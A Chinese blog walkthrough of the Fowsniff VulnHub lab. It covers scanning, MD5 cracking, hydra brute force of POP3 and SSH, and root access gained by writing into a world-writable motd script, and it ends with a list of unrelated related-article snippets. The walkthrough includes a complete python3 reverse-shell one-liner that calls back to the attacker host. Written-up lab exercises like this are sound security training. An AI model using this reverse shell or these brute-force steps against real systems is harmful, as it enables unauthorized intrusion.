[VulnHub靶机渗透] Fowsniff

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nikto漏洞扫描

nmap漏洞扫描

二、渗透测试+信息收集

1、web渗透

2、目录扫描

3、信息收集

4、pop3渗透测试

三、提权

1、信息收集

2、反弹shell

3、flag


前言

靶机精讲之Fowsniff靶机,涉及诸多信息收集,比如web信息收集、媒体网站信息收集、工具站信息收集、pop3服务器信息收集,还涉及john和hydra密码暴力破解,crackmapexec密码碰撞,ssh的banner脚本提权等,可以到vulnhub下载靶机边看视频边实操,是一台构思精巧、全面磨练日常渗透技能的的高仿真靶机,非常值得学习。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.185

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

发现开放了22、80、110、143端口,发现110端口开放了pop3服务

pop3 是一种 Internet 邮件访问协议,它允许用户通过客户端应用程序(如电子邮件客户端)从邮件服务器接收电子邮件。Dovecot pop3d 是一个开源的 pop3 服务器软件,用于提供 pop3 访问服务。

┌──(root??kali)-[~]
└─# nmap -sS -A -p- 192.168.31.185 

3、漏洞扫描

nikto漏洞扫描

利用nikto漏洞扫描工具,简单地扫描到了一些目录文件,访问发现,对于渗透测试没有什么价值

┌──(root💀kali)-[~]
└─# nikto -h 192.168.31.185

nmap漏洞扫描

nmap扫描发现一些目录,比如robots.txt关键目录可以尝试访问下,还扫描发现了CVE:CVE-2007-6750漏洞以及sql注入漏洞,我们后面如果还是对靶场没有什么突破,我们到时候就可以回到这里进行验证下。

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80,110,143 192.168.31.185 

漏洞:CVE:CVE-2007-6750,是用于攻击一些恶意网站,使其恶意网站瘫痪,访问不了的作用,有点像ddos攻击,感兴趣的师傅们可以尝试一下。

二、渗透测试+信息收集

1、web渗透

发现web页面没有找到什么有价值的信息,就是告诉我们这个网站被黑客攻击,然后网站停运了,说什么员工管理员的信息泄露之类的,目前看没有什么有价值的 。

右击查看网页源代码,没有发现什么隐藏的信息

一般可能会存在框架漏洞,但是这里没有发现什么框架漏洞

2、目录扫描

目录扫描发现比之前多了一个/security.txt目录,我们尝试访问下

┌──(root??kali)-[~]
└─# dirb http://192.168.31.185 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -X .php,.txt
  • http://192.168.31.185这是您指定的目标 URL,即要进行目录扫描的网站地址。
  • -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt这个参数用来指定字典文件的位置。在这里,您使用了 -w 参数并提供了一个字典文件的路径 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
  • -X .php,.txt这个参数指定了要排除的文件扩展名。在这个命令中,您使用 -X 参数并列出了 .php.txt,这意味着 Dirb 将会扫描到的 URL 中排除这些特定的文件类型。

/security.txt,

这段文本描述了一个名为 “FOWSNIFF” 的组织(可能虚构),声称他们被 “B1gN1nj4” 攻击并被完全控制(pwned)。看到这里我们想到开始80端口web页面,有一个推特的账号,说什么信息泄露的,我们可以尝试上网找下信息

3、信息收集

利用Google浏览器查找@fowsniffcorp Twitter,第一个就是下面的内容,这个图片很明显是黑客攻击网站成功以后,挂的黑页,我们尝试点击FowSniff - Explained. - Pastebin.com

我们发现下面有passwd密码的信息,所以我们尝试访问下面的.txt文件,查找密码有关的信息

发现很多的账号密码,密码进行了加密,后面我们需要对密码进行解密操作,然后还发现pop3,我们开始端口扫描也发现了这个,很有可能作者就是要让我们pop3进行登录查看信息

把这些内容保存到文档中

mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e

利用hash-identifier,发现是MD5加密的,我们可以利用john进行解密

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "8a28a94a588a95b80163709ab4313aa4"
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

用john破解一下,指定字典为rockyou.txt:

┌──(root💀kali)-[~/桌面]
└─# john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash

4、pop3渗透测试

把利用john解密出来的保存到pop3hash文件中

┌──(root💀kali)-[~/桌面]
└─# vim pop3hash  
                                                                                                                                                                           
┌──(root💀kali)-[~/桌面]
└─# cat pop3hash  
scoobydoo2       (seina@fowsniff)
orlando12        (parede@fowsniff)
apples01         (tegel@fowsniff)
skyler22         (baksteen@fowsniff)
mailcall         (mauer@fowsniff)
07011972         (sciana@fowsniff)
carp4ever        (mursten@fowsniff)
bilbo101         (mustikka@fowsniff)

将用户信息和密码信息分别保存:

┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}'                                                                                                                         1 ⨯ 1 ⚙
scoobydoo2
orlando12
apples01
skyler22
mailcall
07011972
carp4ever
bilbo101

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}' > pop3pwd                                                                                                                   1 ⚙
                                                                                                                                                                           
┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}'                                                                                                   1 ⚙
(seina
(parede
(tegel
(baksteen
(mauer
(sciana
(mursten
(mustikka

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}'                                                                         1 ⚙
seina
parede
tegel
baksteen
mauer
sciana
mursten
mustikka

                                                                                                                                                                           
┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}' > pop3usrs                                                              1 ⚙
                                                                                                                                                                           
┌──(root💀kali)-[~/桌面]
└─# ls                                                                                                                                                                 1 ⚙
CTF   Docker    hash     pop3hash  pop3usrs    pop3pwd   

如今我们已经有了pop3登录的账号和密码了,我们就可以利用hydra九头蛇进行爆破了

发现账号是seina 密码是scoobydoo2

┌──(root💀kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 pop3

发现pop3登录成功了:

┌──(root💀kali)-[~/桌面]
└─# telnet 192.168.31.185 110                                                                                                                                        255 ⨯
Trying 192.168.31.185...
Connected to 192.168.31.185.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
user seina
+OK
pass scoobydoo2
+OK Logged in.


获取邮件数量和大小:

stat    // 获取邮件数量和总大小
list    // 列出所有邮件的编号和大小
retr <邮件编号>    // 检索指定邮件内容
top <邮件编号> <行数>    // 检索指定邮件的前几行内容

查看第一个邮件内容,发现stone用户邮件里面有ssh临时登录的密码

list
+OK 2 messages:
1 1622
2 1280
.
retr 1

这是一封来自 “stone@fowsniff” 的邮件,以下是邮件中的一些重要信息:

  • 发件人(From): stone@fowsniff
  • 收件人(To): baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff, mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff, tegel@fowsniff
  • 主题(Subject): URGENT! Security EVENT!
  • 日期(Date): Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
  • 正文内容:邮件提醒公司内部系统遭到恶意攻击,攻击者利用 SQL 数据库中错误过滤的转义字符来访问登录凭据。为了重新建设系统安全,暂时转移到仅具有最小功能的临时服务器,但只能通过 SSH 访问该服务器。SSH 的临时密码为 “S1ck3nBluff+secureshell”,并强调需要尽快更改密码。

查看第二封邮件

这是一封来自 “baksteen@fowsniff” 的邮件,以下是邮件中的一些重要信息:

  • 发件人(From): baksteen@fowsniff
  • 收件人(To):seina@fowsniff
  • 主题(Subject):You missed out!
  • 日期(Date):Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
  • 正文内容:邮件内容提到关于 AJ 的一次会议中发生了一些有趣的事情,AJ 被大家批评了一番。提到 AJ 曾在海军服役,并且一直用粗俗的语言表达自己的情绪。邮件内容还提到发件人开始感到不舒服了,可能也染上了 Devin 带回来的肺炎,希望 Devin 能迅速康复,并提醒 Devin 更改邮箱密码。

我们可以尝试利用hydra九头蛇,利用刚才找到的临时ssh密码去进行与pop3usrs文件里面的账号进行爆破,尝试登录ssh,因为刚才两封邮件里面的账户都是pop3usrs里面的账户

[22][ssh] host: 192.168.31.185   login: baksteen   password: S1ck3nBluff+secureshell
┌──(root💀kali)-[~/桌面]
└─# vim pop3pwd                                                                                                                                                  255 ⨯ 2 ⚙
                                                                                                                                                                           
┌──(root💀kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 ssh

ssh登录成功

┌──(root💀kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185                                                                                                                                        2 ⚙
The authenticity of host '192.168.31.185 (192.168.31.185)' can't be established.
ECDSA key fingerprint is SHA256:5i4lzzyTeroRL7skmPatRi24vG1+59KMgqHGLyxre9Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.185' (ECDSA) to the list of known hosts.
baksteen@192.168.31.185's password: 

                            _____                       _  __  __  
      :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  
   :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions


   ****  Welcome to the Fowsniff Corporate Server! **** 

              ---------- NOTICE: ----------

 * Due to the recent security breach, we are running on a very minimal system.
 * Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.


New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff:~$ 


三、提权

1、信息收集

sudo提权和crontab自动化任务都没有什么提权的点

baksteen@fowsniff:~$ sudo -l
[sudo] password for baksteen: 
Sorry, user baksteen may not run sudo on fowsniff.
baksteen@fowsniff:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *  * * *  root    cd / && run-parts --report /etc/cron.hourly
25 6  * * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
baksteen@fowsniff:~$ 

本来想到家目录查找一下提权的信息,但是都没有权限,没有找到有价值的信息

baksteen@fowsniff:/home$ pwd
/home
baksteen@fowsniff:/home$ ls
baksteen  mauer  mursten  mustikka  parede  sciana  seina  stone  tegel
baksteen@fowsniff:/home$ cd seina
-bash: cd: seina: Permission denied
baksteen@fowsniff:/home$ cd mauer
-bash: cd: mauer: Permission denied
baksteen@fowsniff:/home$ cd tegel
-bash: cd: tegel: Permission denied
baksteen@fowsniff:/home$ 

SUID提权,也没有找到能够直接提权的命令

baksteen@fowsniff:/home$ find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/sudo
/usr/bin/chsh

尝试内核提权,也没有成功

baksteen@fowsniff:/home$ uname -a
Linux fowsniff 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

后来是查看大佬的博客,发现是找可写入的文件中,然后尝试反弹shell

我们这里需要注意一个小细节:我们需要先切换到/usr目录下(具有可写入权限)

baksteen@fowsniff:/usr$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
/opt/cube/cube.sh
/home/baksteen/.cache/motd.legal-displayed
/home/baksteen/Maildir/dovecot-uidvalidity
/home/baksteen/Maildir/dovecot.index.log
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff
/home/baksteen/Maildir/dovecot-uidlist
/home/baksteen/.viminfo
/home/baksteen/.bash_history
/home/baksteen/.lesshsQ
/home/baksteen/.bash_logout
/home/baksteen/term.txt
/home/baksteen/.profile
/home/baksteen/.bashrc
baksteen@fowsniff:/usr$ 

我们这里查看下/opt/cube/cube.sh文件的权限,发现是可以写入的权限,我们发现这个文件就是我们开始ssh登录进去的页面,所以说这个文件就是当ssh远程登录的时候,我们拿kali监听,可以尝试写入反弹shell的木马进去,然后得到root权限。

baksteen@fowsniff:/usr$ ls -la /opt/cube/cube.sh
-rw-rwxr-- 1 parede users 851 Mar 11  2018 /opt/cube/cube.sh
baksteen@fowsniff:/usr$ cat /opt/cube/cube.sh
printf "
                            _____                       _  __  __  
      :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  
   :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions\n\n"

baksteen@fowsniff:/usr$ 

2、反弹shell

这里给师傅们推荐一个蛮好用的自动化写反弹shell木马的网站,页面也是蛮好看的一个网站,我这里选择python3进行反弹shell。

Online - Reverse Shell GeneratorOnline Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.icon-default.png?t=N7T8https://www.revshells.com/

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.225",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

┌──(root💀kali)-[~/桌面]
└─# nc -lvnp 1234                                                                                                                                                      1 ⚙
listening on [any] 1234 ...

                                                                                                                             
┌──(root💀kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185                                                                                              
baksteen@192.168.31.185's password: 

3、flag

反弹shell成功,成功拿到root权限

┌──(root💀kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.31.225] from (UNKNOWN) [192.168.31.185] 59410
root@fowsniff:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@fowsniff:/# whoami
whoami
root
root@fowsniff:/# cd /root
cd /root
root@fowsniff:/root# ls -la
ls -la
total 28
drwx------  4 root root 4096 Mar  9  2018 .
drwxr-xr-x 22 root root 4096 Feb 16 11:17 ..
-rw-r--r--  1 root root 3117 Mar  9  2018 .bashrc
drwxr-xr-x  2 root root 4096 Mar  9  2018 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  5 root root 4096 Mar  9  2018 Maildir
-rw-r--r--  1 root root  582 Mar  9  2018 flag.txt
root@fowsniff:/root# cat flag.txt
cat flag.txt
   ___                        _        _      _   _             _ 
  / __|___ _ _  __ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| |
 | (__/ _ \ ' \/ _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|
  \___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)
               |___/ 

 (_)
  |--------------
  |&&&&&&&&&&&&&&|
  |    R O O T   |
  |    F L A G   |
  |&&&&&&&&&&&&&&|
  |--------------
  |
  |
  |
  |
  |
  |
 ---

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.

Special thanks to psf, @nbulischeck and the whole Fofao Team.

root@fowsniff:/root# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/391651.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用cockpit安装kvm虚拟机

下载管理虚拟机的插件 如果安装完成之后&#xff0c;出现报错&#xff0c;则刷新。如下图所示 添加虚拟网桥 进入添加网桥之后&#xff0c;名称自己修改&#xff0c;端口设置为自己的网卡名称。 之后返回xshell之后再次查看ip地址就会出现 添加镜像到物理机的根目录下 将系统…

智胜未来,新时代IT技术人风口攻略-第四版(弃稿)

文章目录 前言鸿蒙生态科普调研人员画像高校助力鸿蒙高校鸿蒙课程开设占比教研力量并非唯一原因 企业布局规划全盘接纳仍需一段时间企业对鸿蒙的一些诉求 机构入场红利机构鸿蒙课程开设占比机构对鸿蒙的一些诉求 鸿蒙实际体验高校用户群体高度认同与影响体验企业用户群体未来可…

深入解析Mybatis-Plus框架:简化Java持久层开发(二)

&#x1f340; 前言 博客地址&#xff1a; CSDN&#xff1a;https://blog.csdn.net/powerbiubiu &#x1f44b; 简介 本章节开始从实际的应用场景&#xff0c;来讲解Mybatis-Plus常用的一些操作&#xff0c;根据业务场景来进行增删改查的功能&#xff0c;首先先搭建一个项目…

2024年上班族最适合做的副业:抖音小店,门槛真低!

大家好&#xff0c;我是电商糖果 搞钱难&#xff0c;做副业搞钱更难&#xff01; 作为普通上班族&#xff0c;一个人的薪资很难养活一个家庭&#xff0c;于是越来越多人开始琢磨副业。 而2024年最适合上班族的副业&#xff0c;真的是非抖音小店莫属了。 这两年抖音购物已经…

java.lang.NoClassDefFoundError: org/springframework/core/GenericTypeResolver

前言 小编我将用CSDN记录软件开发求学之路上亲身所得与所学的心得与知识&#xff0c;有兴趣的小伙伴可以关注一下&#xff01; 也许一个人独行&#xff0c;可以走的很快&#xff0c;但是一群人结伴而行&#xff0c;才能走的更远&#xff01;让我们在成长的道路上互相学习&…

Java实现新能源电池回收系统 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 用户档案模块2.2 电池品类模块2.3 回收机构模块2.4 电池订单模块2.5 客服咨询模块 三、系统设计3.1 用例设计3.2 业务流程设计3.3 E-R 图设计 四、系统展示五、核心代码5.1 增改电池类型5.2 查询电池品类5.3 查询电池回…

485. Max Consecutive Ones(最大连续 1 的个数)

问题描述 给定一个二进制数组 nums &#xff0c; 计算其中最大连续 1 的个数。 问题分析 因为nums中只有1与0两种字符&#xff0c;我们可以设计一个统计变量来统计某一段中1出现的次数&#xff0c;因为当1后面跟着一个0时意味着这一段1结束&#xff0c;由此可以实现统计1的数…

Pandas.Series.cummin() 累积最小值 详解 含代码 含测试数据集 随Pandas版本持续更新

关于Pandas版本&#xff1a; 本文基于 pandas2.2.0 编写。 关于本文内容更新&#xff1a; 随着pandas的stable版本更迭&#xff0c;本文持续更新&#xff0c;不断完善补充。 传送门&#xff1a; Pandas API参考目录 传送门&#xff1a; Pandas 版本更新及新特性 传送门&…

【打工日常】使用docker部署tool工具箱

一、tools介绍 Tools是一款开源的便捷解决我们日常遇到的小问题的工具集合&#xff0c;支持Docker私有化部署&#xff0c;具备大量的好用的小功能&#xff0c;如各种加密解密、token解析、url解析等等。 二、本次实践介绍 1. 本次实践简介 本次实践部署环境为个人测试环境 2.…

Oracle数据字典学习1

之前查看了几个用户的默认表空间&#xff0c;是从user_users来查看的&#xff1b; 根据资料&#xff1b; ORACLE中数据字典视图分为3大类,用前缀区别&#xff0c;分别为&#xff1a;USER&#xff0c;ALL 和 DBA&#xff1b; 许多数据字典视图包含相似的信息&#xff1b; USER_…

Dynamo之视图过滤器介绍

你好&#xff0c;这里是BIM的乐趣&#xff0c;我是九哥~ 今天简单整理一篇&#xff0c;源于最近很多人给我留言&#xff0c;问如何添加过滤器&#xff0c;那么我就简单把视图过滤器这块的节点及其用法整理下&#xff0c;基本上自带的节点就够用了。 获取项目中的所有视图过滤器…

高清和理解物理世界依然是Sora下一步方向

刚在微博看到一个作者的文&#xff0c;应该是国内的AI创业公司吧&#xff0c;他说了对Sora的看法&#xff0c;比较长&#xff0c;张贴出来&#xff0c;高清和能理解物理世界依然是OPENAI以后的趋势&#xff0c;高清其实不难搞&#xff0c;这老板部分说的是对&#xff0c;部分还…

手把手教你用Unet做眼底血管图像分割

手把手教你用Unet做眼底血管图像分割 配套教学视频地址&#xff1a;手把手教你用Unet做眼底血管图像分割_哔哩哔哩_bilibili 配套代码和数据下载地址&#xff1a;Unet眼底血管图像分割数据集代码模型系统界面教学视频.zip资源-CSDN文库 Hi&#xff0c;这里是肆十二&#xff0c;…

[BJDCTF2020]Cookie is so stable

先发现有flag页面和Hint页面&#xff0c;dirsearch扫完也没有获得什么 falg输入什么就返回什么 题目提到cookie&#xff0c;抓包看看 猜测是ssti注入 输入user{{7*7}}测试一下&#xff0c;确实存在&#xff08;注意cookie的user前面的连接是;&#xff09; 同时也判断了ssti注…

【Python--网络编程之TCP三次握手】

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;Python开发技术 &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; Python网络编程之[TCP三次握手] 往期内容代码见资源&#xff0c;效果图如下一、实验要求二、协…

YOLOv8制作自定义数据集并训练

YOLOv8制作自定义数据集并训练 前言一、制作自定义数据集1、建立相应文件夹2、下载图片3、为图片打标签&#xff08;1&#xff09;安装labelimg&#xff08;2&#xff09;打开labelimg&#xff08;3&#xff09;标记图片 二、按比例移动自定义数据集中的内容三、建立数据集测试…

「算法」二分查找1:理论细节

&#x1f387;个人主页&#xff1a;Ice_Sugar_7 &#x1f387;所属专栏&#xff1a;算法详解 &#x1f387;欢迎点赞收藏加关注哦&#xff01; 二分查找算法简介 这个算法的特点就是&#xff1a;细节多&#xff0c;出错率高&#xff0c;很容易就写成死循环有模板&#xff0c;但…

MySQL篇之SQL优化

一、表的设计优化 表的设计优化&#xff08;参考阿里开发手册《嵩山版》&#xff09;&#xff1a; 1. 比如设置合适的数值&#xff08;tinyint int bigint&#xff09;&#xff0c;要根据实际情况选择。 2. 比如设置合适的字符串类型&#xff08;char和varchar&#xff09…

UnityShader——06UnityShader介绍

UnityShader介绍 UnityShader的基础ShaderLab UnityShader属性块介绍 Properties {//和public变量一样会显示在Unity的inspector面板上//_MainTex为变量名&#xff0c;在属性里的变量一般会加下划线&#xff0c;来区分参数变量和临时变量//Texture为变量命名//2D为类型&…

OpenAI Sora 初体验

OpenAI Sora 初体验 就在刚刚&#xff0c;OpenAI 再次投下一枚重磅炸弹——Sora&#xff0c;一个文本到视频生成模型。 我第一时间体验了 Sora。看过 Sora 的能力后&#xff0c;我真的印象深刻。对细节的关注、无缝的角色刻画以及生成视频的绝对质量真正将可能性提升到了一个新…